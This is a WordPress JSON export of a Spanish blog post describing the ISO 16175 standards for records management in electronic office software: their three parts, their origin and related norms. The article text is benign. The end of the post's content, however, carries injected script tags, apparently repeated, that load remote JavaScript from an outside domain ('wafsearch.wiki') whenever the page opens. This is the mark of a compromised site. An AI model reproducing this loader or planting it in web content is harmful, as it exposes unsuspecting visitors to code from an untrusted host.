{"id":803,"date":"2012-07-23T18:25:12","date_gmt":"2012-07-23T16:25:12","guid":{"rendered":"http:\/\/www.blocument.com\/?p=803"},"modified":"2026-03-20T06:18:27","modified_gmt":"2026-03-20T11:18:27","slug":"iso-16175-documentos-en-entornos-de-oficina-electronica","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/iso-16175-documentos-en-entornos-de-oficina-electronica\/","title":{"rendered":"ISO 16175 \u2013 Documentos en entornos de oficina electr\u00f3nica"},"content":{"rendered":"<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/ISO16175.jpg\"><img loading=\"lazy\" class=\"alignleft size-medium wp-image-805\" title=\"ISO 16175\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/ISO16175-300x201.jpg\" alt=\"ISO 16175\" width=\"300\" height=\"201\" \/><\/a>El conjunto de normas ISO-16175 proporcionan principios acordados internacionalmente y requisitos funcionales para el software empleado para la creaci\u00f3n y gesti\u00f3n de los documentos de archivo en ambientes de oficina electr\u00f3nica.<\/p>\n<p>Estas normas fueron preparadas por el International Council on Archives y fue adoptada por el procedimiento especial de v\u00eda r\u00e1pida por el Comit\u00e9 T\u00e9cnico ISO\/TC46, subcomit\u00e9 SC11 sobre Gesti\u00f3n de Documentos de Archivo.<\/p>\n<p>La norma ISO-16175 consta de 3 partes:<\/p>\n<p><strong>Parte 1<\/strong>. Generalidades y declaraci\u00f3n de principios, proporciona informaci\u00f3n de contexto y pone de relieve los principios fundamentales. Es una revisi\u00f3n ejecutiva muy \u00fatil.<\/p>\n<p><strong>Parte 2.<\/strong> Gu\u00edas y requisitos funcionales para sistemas de gesti\u00f3n de documentos electr\u00f3nicos, expone los requisitos funcionales para los sistemas de software especializados en gesti\u00f3n documental profesional, tambi\u00e9n denominados Electronic Record Management Systems.<\/p>\n<p><strong>Parte 3.<\/strong> Gu\u00edas y requisitos funcionales para documentos en sistemas de negocio, presenta los requisitos para la gesti\u00f3n de la informaci\u00f3n que se emplea y almacena en las plataformas de negocio de las compa\u00f1\u00edas. Los sistemas de negocio incluyen \u00e1reas de negocio, gesti\u00f3n de expedientes, gesti\u00f3n de contenidos, gesti\u00f3n de recursos humanos y sistemas de gesti\u00f3n financiera. ISO.-16175-3 no se trata de una especificaci\u00f3n exhaustiva, sino m\u00e1s bien un punto de partida para un desarrollo posterior de los requisitos espec\u00edficos de aplicaciones inform\u00e1ticas. Adem\u00e1s, cada organizaci\u00f3n debe extender este conjunto de requisitos m\u00ednimos para cubrir sus necesidades espec\u00edficas basadas en sus condiciones de negocio, t\u00e9cnicas y jur\u00eddicas.<\/p>\n<p>Los requisitos funcionales de las normas ISO-16715 se apoyan en los requisitos m\u00ednimos de funcionalidad de documentos con archival\u00eda definidos en la norma b\u00e1sica de gesti\u00f3n documental profesional ISO-15489. No cubre los requisitos relacionados con la conservaci\u00f3n de los documentos electr\u00f3nicos de larga duraci\u00f3n.<\/p>\n<p>Estas normas ser\u00e1n de mucha utilidad para responsables de Archivo, responsables de Sistemas, profesionales de gesti\u00f3n documental, fabricantes o prescriptores de software, gerentes tecnol\u00f3gicos y auditores de Calidad.<\/p>\n<p>Se recomienda su lectura y aplicaci\u00f3n junto con el resto de publicaciones normativas internacionales en materia de gesti\u00f3n de documentos de archivo, tales como ISO-15489, ISO-23081, ISO-15801, requisitos de Moreq, requisitos generales del ICA, DoD 5015.2, etc.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src 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